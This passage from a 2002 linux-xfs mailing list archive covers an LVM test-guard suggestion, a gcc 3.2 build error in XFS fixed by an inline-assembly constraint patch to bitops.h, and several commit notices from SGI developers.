(This assumes lvm is a module. What if it is linked? I don't know how to check that. > > > lsmod | grep lvm-mod; > > > if [ $? != 0 ]; then _notrun "This test requires the LVM kernel module be present"; fi > > > > A better approach here would be to grep for lvm in /proc/devices, > > this would work for module/non-module builds. > > or > [ -d /proc/lvm ] || _notrun This will likely break with LVM2/EVMS, which have lvm compatible user utils and support snapshots, but not the /proc file. -Andi From owner-linux-xfs@oss.sgi.com Thu Aug 29 06:32:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 06:32:26 -0700 (PDT) Received: from smtp.netsigners.com (ppp-217-133-216-253.dialup.tiscali.it [217.133.216.253]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TDWKtG004737 for ; Thu, 29 Aug 2002 06:32:21 -0700 Received: (qmail 4350 invoked from network); 29 Aug 2002 12:52:36 -0000 Received: from unknown (HELO inwind.it) (192.168.1.4) by 192.168.1.254 with SMTP; 29 Aug 2002 12:52:36 -0000 Message-ID: <3D6E233B.4090209@inwind.it> Date: Thu, 29 Aug 2002 15:35:55 +0200 From: stefano sartini User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020822 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: gcc 3.2 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 141 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: stefano.sartini@inwind.it Precedence: bulk X-list: linux-xfs hi all, does anyone knows any issue compiling an XFS kernel with gcc 3.2 ? This is what i got on my Slackware: make[4]: Entering directory `/usr/src/2.4.19-xfs/fs/xfs/pagebuf' gcc -D__KERNEL__ -I/usr/src/2.4.19-xfs/include -Wall -Wstrict-prototypes -Wno-trigraphs -O3 -mcpu=i686 -fexpensive-optimizations -funroll-loops -frerun-cse-after-loop -frerun-loop-opt -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=i686 -I.. -nostdinc -I /usr/local/lib/gcc-lib/i686-pc-linux-gnu/3.2/include -DKBUILD_BASENAME=page_buf -DEXPORT_SYMTAB -c page_buf.c gcc -D__KERNEL__ -I/usr/src/2.4.19-xfs/include -Wall -Wstrict-prototypes -Wno-trigraphs -O3 -mcpu=i686 -march=i686 -fexpensive-optimizations -funroll-loops -frerun-cse-after-loop -frerun-loop-opt -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=i686 -I.. -nostdinc -I /usr/local/lib/gcc-lib/i686-pc-linux-gnu/3.2/include -DKBUILD_BASENAME=page_buf_io -c -o page_buf_io.o page_buf_io.c gcc -D__KERNEL__ -I/usr/src/2.4.19-xfs/include -Wall -Wstrict-prototypes -Wno-trigraphs -O3 -mcpu=i686 -march=i686 -fexpensive-optimizations -funroll-loops -frerun-cse-after-loop -frerun-loop-opt -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=i686 -I.. -nostdinc -I /usr/local/lib/gcc-lib/i686-pc-linux-gnu/3.2/include -DKBUILD_BASENAME=page_buf_locking -c -o page_buf_locking.o page_buf_locking.c {standard input}: Assembler messages: {standard input}:148: Error: suffix or operands invalid for `bsf' make[4]: *** [page_buf_locking.o] Error 1 make[4]: Leaving directory `/usr/src/2.4.19-xfs/fs/xfs/pagebuf' make[3]: *** [first_rule] Error 2 make[3]: Leaving directory `/usr/src/2.4.19-xfs/fs/xfs/pagebuf' make[2]: *** [_subdir_pagebuf] Error 2 make[2]: Leaving directory `/usr/src/2.4.19-xfs/fs/xfs' make[1]: *** [_subdir_xfs] Error 2 make[1]: Leaving directory `/usr/src/2.4.19-xfs/fs' make: *** [_dir_fs] Error 2 Compiling back with the 2.95.3 gcc gave no problem... Is a compiler issue? Stefano Sartini. From owner-linux-xfs@oss.sgi.com Thu Aug 29 06:38:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 06:38:22 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TDcKtG005226 for ; Thu, 29 Aug 2002 06:38:20 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA44025; Thu, 29 Aug 2002 08:41:51 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id IAA58329; Thu, 29 Aug 2002 08:41:50 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7TDfV225043; Thu, 29 Aug 2002 08:41:31 -0500 Subject: Re: gcc 3.2 From: Steve Lord To: stefano sartini Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D6E233B.4090209@inwind.it> References: <3D6E233B.4090209@inwind.it> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 29 Aug 2002 08:41:31 -0500 Message-Id: <1030628491.25030.4.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 142 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Thu, 2002-08-29 at 08:35, stefano sartini wrote: > > Compiling back with the 2.95.3 gcc gave no problem... > Is a compiler issue? Go to line 203 of page_buf_locking.c and replace the call to ffs with a call to generic_ffs. Let me know if this fixes it and I will check it in to the tree. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 29 06:41:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 06:41:32 -0700 (PDT) Received: from phoenix.infradead.org (carisma.slowglass.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TDfTtG005679 for ; Thu, 29 Aug 2002 06:41:29 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17kPbZ-0000gP-00; Thu, 29 Aug 2002 14:45:01 +0100 Date: Thu, 29 Aug 2002 14:45:01 +0100 From: Christoph Hellwig To: Steve Lord Cc: stefano sartini , linux-xfs@oss.sgi.com Subject: Re: gcc 3.2 Message-ID: <20020829144501.A2608@infradead.org> References: <3D6E233B.4090209@inwind.it> <1030628491.25030.4.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1030628491.25030.4.camel@jen.americas.sgi.com>; from lord@sgi.com on Thu, Aug 29, 2002 at 08:41:31AM -0500 Content-Transfer-Encoding: 8bit X-archive-position: 143 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs On Thu, Aug 29, 2002 at 08:41:31AM -0500, Steve Lord wrote: > > On Thu, 2002-08-29 at 08:35, stefano sartini wrote: > > > > > Compiling back with the 2.95.3 gcc gave no problem... > > Is a compiler issue? > > > Go to line 203 of page_buf_locking.c and replace the call to ffs > with a call to generic_ffs. > > Let me know if this fixes it and I will check it in to the tree. Please don't check it in. The following patch that went into 2.4.20-pre should fix the root of the problem instead of the symptom: --- linux-2.4.19-rc3-ac4/include/asm-i386/bitops.h Mon Jul 29 21:12:34 2002 +++ linux/include/asm-i386/bitops.h Mon Jul 29 21:38:44 2002 @@ -456,7 +456,7 @@ static __inline__ int ffs(int x) __asm__("bsfl %1,%0\n\t" "jnz 1f\n\t" "movl $-1,%0\n" - "1:" : "=r" (r) : "g" (x)); + "1:" : "=r" (r) : "rm" (x)); return r+1; } From owner-linux-xfs@oss.sgi.com Thu Aug 29 06:43:27 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 06:43:28 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TDhQtG006053 for ; Thu, 29 Aug 2002 06:43:27 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA43147; Thu, 29 Aug 2002 08:46:57 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id IAA27516; Thu, 29 Aug 2002 08:46:57 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7TDkcZ25084; Thu, 29 Aug 2002 08:46:38 -0500 Subject: Re: gcc 3.2 From: Steve Lord To: Christoph Hellwig Cc: stefano sartini , linux-xfs@oss.sgi.com In-Reply-To: <20020829144501.A2608@infradead.org> References: <3D6E233B.4090209@inwind.it> <1030628491.25030.4.camel@jen.americas.sgi.com> <20020829144501.A2608@infradead.org> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 29 Aug 2002 08:46:38 -0500 Message-Id: <1030628798.25047.6.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 144 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Thu, 2002-08-29 at 08:45, Christoph Hellwig wrote: > On Thu, Aug 29, 2002 at 08:41:31AM -0500, Steve Lord wrote: > > > > On Thu, 2002-08-29 at 08:35, stefano sartini wrote: > > > > > > > > Compiling back with the 2.95.3 gcc gave no problem... > > > Is a compiler issue? > > > > > > Go to line 203 of page_buf_locking.c and replace the call to ffs > > with a call to generic_ffs. > > > > Let me know if this fixes it and I will check it in to the tree. > > Please don't check it in. The following patch that went into 2.4.20-pre > should fix the root of the problem instead of the symptom: Ah, interesting, well, we will leave it as a workaround for folks with earlier kernels. It is not as if this is a function we need to optimize. Steve > > > --- linux-2.4.19-rc3-ac4/include/asm-i386/bitops.h Mon Jul 29 21:12:34 2002 > +++ linux/include/asm-i386/bitops.h Mon Jul 29 21:38:44 2002 > @@ -456,7 +456,7 @@ static __inline__ int ffs(int x) > __asm__("bsfl %1,%0\n\t" > "jnz 1f\n\t" > "movl $-1,%0\n" > - "1:" : "=r" (r) : "g" (x)); > + "1:" : "=r" (r) : "rm" (x)); > return r+1; > } > -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 29 06:45:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 06:45:31 -0700 (PDT) Received: from phoenix.infradead.org (carisma.slowglass.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TDjTtG006553 for ; Thu, 29 Aug 2002 06:45:29 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17kPfU-0000iN-00; Thu, 29 Aug 2002 14:49:04 +0100 Date: Thu, 29 Aug 2002 14:49:04 +0100 From: Christoph Hellwig To: Steve Lord Cc: stefano sartini , linux-xfs@oss.sgi.com Subject: Re: gcc 3.2 Message-ID: <20020829144904.A2746@infradead.org> References: <3D6E233B.4090209@inwind.it> <1030628491.25030.4.camel@jen.americas.sgi.com> <20020829144501.A2608@infradead.org> <1030628798.25047.6.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1030628798.25047.6.camel@jen.americas.sgi.com>; from lord@sgi.com on Thu, Aug 29, 2002 at 08:46:38AM -0500 Content-Transfer-Encoding: 8bit X-archive-position: 145 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs On Thu, Aug 29, 2002 at 08:46:38AM -0500, Steve Lord wrote: > > Please don't check it in. The following patch that went into 2.4.20-pre > > should fix the root of the problem instead of the symptom: > > Ah, interesting, well, we will leave it as a workaround for folks > with earlier kernels. It is not as if this is a function we need > to optimize. But generic_ffs is not supposed to be used directly. Applying this fix to the CVS tree is the much better idea, IMHO. From owner-linux-xfs@oss.sgi.com Thu Aug 29 07:50:27 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 07:50:32 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TEoQtG009346 for ; Thu, 29 Aug 2002 07:50:26 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA44590 for ; Thu, 29 Aug 2002 09:53:58 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA50024 for ; Thu, 29 Aug 2002 09:53:58 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7TErcw31671; Thu, 29 Aug 2002 09:53:38 -0500 Message-Id: <200208291453.g7TErcw31671@jen.americas.sgi.com> Date: Thu, 29 Aug 2002 09:53:38 -0500 Subject: TAKE - merge fix from 2.4.20 code, allows gcc 3.2 to build xfs To: linux-xfs@oss.sgi.com X-archive-position: 146 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Date: Thu Aug 29 07:51:10 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126353a linux/include/asm-i386/bitops.h - 1.9 From owner-linux-xfs@oss.sgi.com Thu Aug 29 07:51:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 07:51:43 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TEpftG009526 for ; Thu, 29 Aug 2002 07:51:41 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA44426; Thu, 29 Aug 2002 09:55:13 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA16758; Thu, 29 Aug 2002 09:55:13 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7TEsrP31689; Thu, 29 Aug 2002 09:54:53 -0500 Subject: Re: gcc 3.2 From: Steve Lord To: Christoph Hellwig Cc: stefano sartini , linux-xfs@oss.sgi.com In-Reply-To: <20020829144904.A2746@infradead.org> References: <3D6E233B.4090209@inwind.it> <1030628491.25030.4.camel@jen.americas.sgi.com> <20020829144501.A2608@infradead.org> <1030628798.25047.6.camel@jen.americas.sgi.com> <20020829144904.A2746@infradead.org> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 29 Aug 2002 09:54:53 -0500 Message-Id: <1030632893.31586.0.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 147 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Thu, 2002-08-29 at 08:49, Christoph Hellwig wrote: > On Thu, Aug 29, 2002 at 08:46:38AM -0500, Steve Lord wrote: > > > Please don't check it in. The following patch that went into 2.4.20-pre > > > should fix the root of the problem instead of the symptom: > > > > Ah, interesting, well, we will leave it as a workaround for folks > > with earlier kernels. It is not as if this is a function we need > > to optimize. > > But generic_ffs is not supposed to be used directly. Applying this fix > to the CVS tree is the much better idea, IMHO. done. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 29 07:57:12 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 07:57:18 -0700 (PDT) Received: from smtp.netsigners.com (ppp-217-133-216-253.dialup.tiscali.it [217.133.216.253]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TEv7tG010368 for ; Thu, 29 Aug 2002 07:57:11 -0700 Received: (qmail 4451 invoked from network); 29 Aug 2002 13:57:09 -0000 Received: from unknown (HELO inwind.it) (192.168.1.4) by 192.168.1.254 with SMTP; 29 Aug 2002 13:57:09 -0000 Message-ID: <3D6E325A.6010309@inwind.it> Date: Thu, 29 Aug 2002 16:40:26 +0200 From: stefano sartini User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020822 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: Steve Lord , linux-xfs@oss.sgi.com Subject: Re: gcc 3.2 References: <3D6E233B.4090209@inwind.it> <1030628491.25030.4.camel@jen.americas.sgi.com> <20020829144501.A2608@infradead.org> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 148 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: stefano.sartini@inwind.it Precedence: bulk X-list: linux-xfs Christoph Hellwig wrote: > On Thu, Aug 29, 2002 at 08:41:31AM -0500, Steve Lord wrote: > >>On Thu, 2002-08-29 at 08:35, stefano sartini wrote: >> >> >>>Compiling back with the 2.95.3 gcc gave no problem... >>>Is a compiler issue? >> >> >>Go to line 203 of page_buf_locking.c and replace the call to ffs >>with a call to generic_ffs. >> >>Let me know if this fixes it and I will check it in to the tree. > > > Please don't check it in. The following patch that went into 2.4.20-pre > should fix the root of the problem instead of the symptom: > > > --- linux-2.4.19-rc3-ac4/include/asm-i386/bitops.h Mon Jul 29 21:12:34 2002 > +++ linux/include/asm-i386/bitops.h Mon Jul 29 21:38:44 2002 > @@ -456,7 +456,7 @@ static __inline__ int ffs(int x) > __asm__("bsfl %1,%0\n\t" > "jnz 1f\n\t" > "movl $-1,%0\n" > - "1:" : "=r" (r) : "g" (x)); > + "1:" : "=r" (r) : "rm" (x)); > return r+1; > } Anyway, waiting for the 2.4.20 kernel, the suggested fix solved the compilation error related to XFS, leaving some problems with other modules :) Thanks, Stefano Sartini From owner-linux-xfs@oss.sgi.com Thu Aug 29 08:30:40 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 08:30:45 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TFUdtG018281 for ; Thu, 29 Aug 2002 08:30:40 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA44845 for ; Thu, 29 Aug 2002 10:34:11 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA56529 for ; Thu, 29 Aug 2002 10:34:11 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7TFXp202457; Thu, 29 Aug 2002 10:33:51 -0500 Message-Id: <200208291533.g7TFXp202457@jen.americas.sgi.com> Date: Thu, 29 Aug 2002 10:33:51 -0500 Subject: TAKE - cleanup stats/sysctl To: linux-xfs@oss.sgi.com X-archive-position: 149 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs From Christoph - build xfs_stat.c/xfs_sysctl.c only if CONFIG_PROC_FS/CONFIG_SYSCTL is set - fix inlcusion guards in xfs_stats.h/xfs_sysctl.h - make xfs_param a struct instead of an union - the array member was never used Date: Thu Aug 29 08:33:16 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126356a linux/fs/xfs/xfs_rw.c - 1.364 linux/fs/xfs/xfs_vfsops.c - 1.376 linux/fs/xfs/linux/Makefile - 1.61 linux/fs/xfs/linux/xfs_stats.c - 1.8 linux/fs/xfs/linux/xfs_stats.h - 1.3 linux/fs/xfs/linux/xfs_sysctl.h - 1.5 linux/fs/xfs/linux/xfs_sysctl.c - 1.8 From owner-linux-xfs@oss.sgi.com Thu Aug 29 08:46:15 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 08:46:20 -0700 (PDT) Received: from newmail.emergence.com (newmail.emergence.com [209.5.172.115]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TFkEtG018823 for ; Thu, 29 Aug 2002 08:46:14 -0700 Received: from relative.emergence.com ([209.5.172.43] helo=emergence.com) by newmail.emergence.com with esmtp (TLSv1:RC4-MD5:128) (Exim 3.34 #1) id 17kRYW-00029M-00; Thu, 29 Aug 2002 09:50:00 -0600 Message-ID: <3D6E42B4.6020009@emergence.com> Date: Thu, 29 Aug 2002 09:50:12 -0600 From: Michael Best User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: stefano sartini CC: linux-xfs@oss.sgi.com Subject: Re: gcc 3.2 References: <3D6E233B.4090209@inwind.it> X-Enigmail-Version: 0.65.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 150 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mbest@emergence.com Precedence: bulk X-list: linux-xfs I have compiled multiple kernels with gcc-3.2 and gentoo 1.4 beta. Starting with 2.4.19 and then adding the XFS weekly CVS snapshot has built fine for the past two weeks of patches. I have used both 2002-08-18 and 2002-08-25 without any problems. After I built the 2002-08-25 patch, I even added the Robert Love preempt patch and it works fine. I have over the last 2 days of uptime, compiled the kernel, mozilla 1.1 ( > 500 megs during the build ), gcc, glibc. And found it is very stable so far. I haven't done any heavy filesystem or nfs/samba style testing on this system. -Mike stefano sartini wrote: > hi all, > does anyone knows any issue compiling an XFS kernel with gcc 3.2 ? From owner-linux-xfs@oss.sgi.com Thu Aug 29 08:57:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 08:57:46 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TFvgtG019405 for ; Thu, 29 Aug 2002 08:57:42 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA45126 for ; Thu, 29 Aug 2002 11:01:14 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA09470 for ; Thu, 29 Aug 2002 11:01:14 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7TG0rM04357; Thu, 29 Aug 2002 11:00:53 -0500 Message-Id: <200208291600.g7TG0rM04357@jen.americas.sgi.com> Date: Thu, 29 Aug 2002 11:00:53 -0500 Subject: TAKE - cleanup/optimize xfs_dir_lookup_int() To: linux-xfs@oss.sgi.com X-archive-position: 151 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs From Christoph: After the rename cleanup there is only one caller of xfs_dir_lookup_int() left that has a non-null dentry->d_inode. But we already have another function that handles the case of definitly non-null dentry and needed VN_HOLD: xfs_get_dir_entry. Move that one to xfs_utils.c and use it. Also remove handling of empty path name components as the Linux VFS will never pass them down and remove an unused DLF_ flag. Date: Thu Aug 29 09:00:10 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126360a linux/fs/xfs/xfs_vnodeops.c - 1.559 linux/fs/xfs/xfs_utils.c - 1.51 linux/fs/xfs/xfs_utils.h - 1.24 linux/fs/xfs/xfs_rename.c - 1.40 From owner-linux-xfs@oss.sgi.com Thu Aug 29 09:18:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 09:18:15 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TGI9tG020009 for ; Thu, 29 Aug 2002 09:18:10 -0700 Received: from thistle-e185.americas.sgi.com (thistle-e185.americas.sgi.com [128.162.185.204]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA45442 for ; Thu, 29 Aug 2002 11:21:42 -0500 (CDT) Received: from clink.americas.sgi.com (clink-eth.americas.sgi.com [128.162.2.8]) by thistle-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA38308 for ; Thu, 29 Aug 2002 11:21:41 -0500 (CDT) Received: (from roehrich@localhost) by clink.americas.sgi.com (SGI-8.9.3/8.9.3/erikj-IRIX-news) id LAA38979 for linux-xfs@oss.sgi.com; Thu, 29 Aug 2002 11:21:41 -0500 (CDT) Date: Thu, 29 Aug 2002 11:21:41 -0500 (CDT) From: Dean Roehrich Message-Id: <200208291621.LAA38979@clink.americas.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - add to dmapi_sysent.c X-archive-position: 152 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: roehrich@sgi.com Precedence: bulk X-list: linux-xfs Date: Thu Aug 29 09:21:22 PDT 2002 Workarea: clink-eth.americas.sgi.com:/data/clink/a67/roehrich/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126365a linux/fs/xfs/dmapi/dmapi_sysent.c - 1.16 - add From owner-linux-xfs@oss.sgi.com Thu Aug 29 09:50:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 09:51:00 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TGostG020612 for ; Thu, 29 Aug 2002 09:50:54 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA45600 for ; Thu, 29 Aug 2002 11:54:26 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA80455 for ; Thu, 29 Aug 2002 11:54:26 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7TGs5305823; Thu, 29 Aug 2002 11:54:05 -0500 Message-Id: <200208291654.g7TGs5305823@jen.americas.sgi.com> Date: Thu, 29 Aug 2002 11:54:05 -0500 Subject: TAKE - set inode->i_blksize to PAGE_CACHE_SIZE To: linux-xfs@oss.sgi.com X-archive-position: 153 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs i_blksize is the optimum I/O size, which is PAGE_CACHE_SIZE for any pagecache-based filesystem as that's what the I/O path operates with. Date: Thu Aug 29 09:54:00 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126367a linux/fs/xfs/linux/xfs_vnode.c - 1.95 From owner-linux-xfs@oss.sgi.com Thu Aug 29 14:30:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 14:30:29 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TLUMtG026031 for ; Thu, 29 Aug 2002 14:30:23 -0700 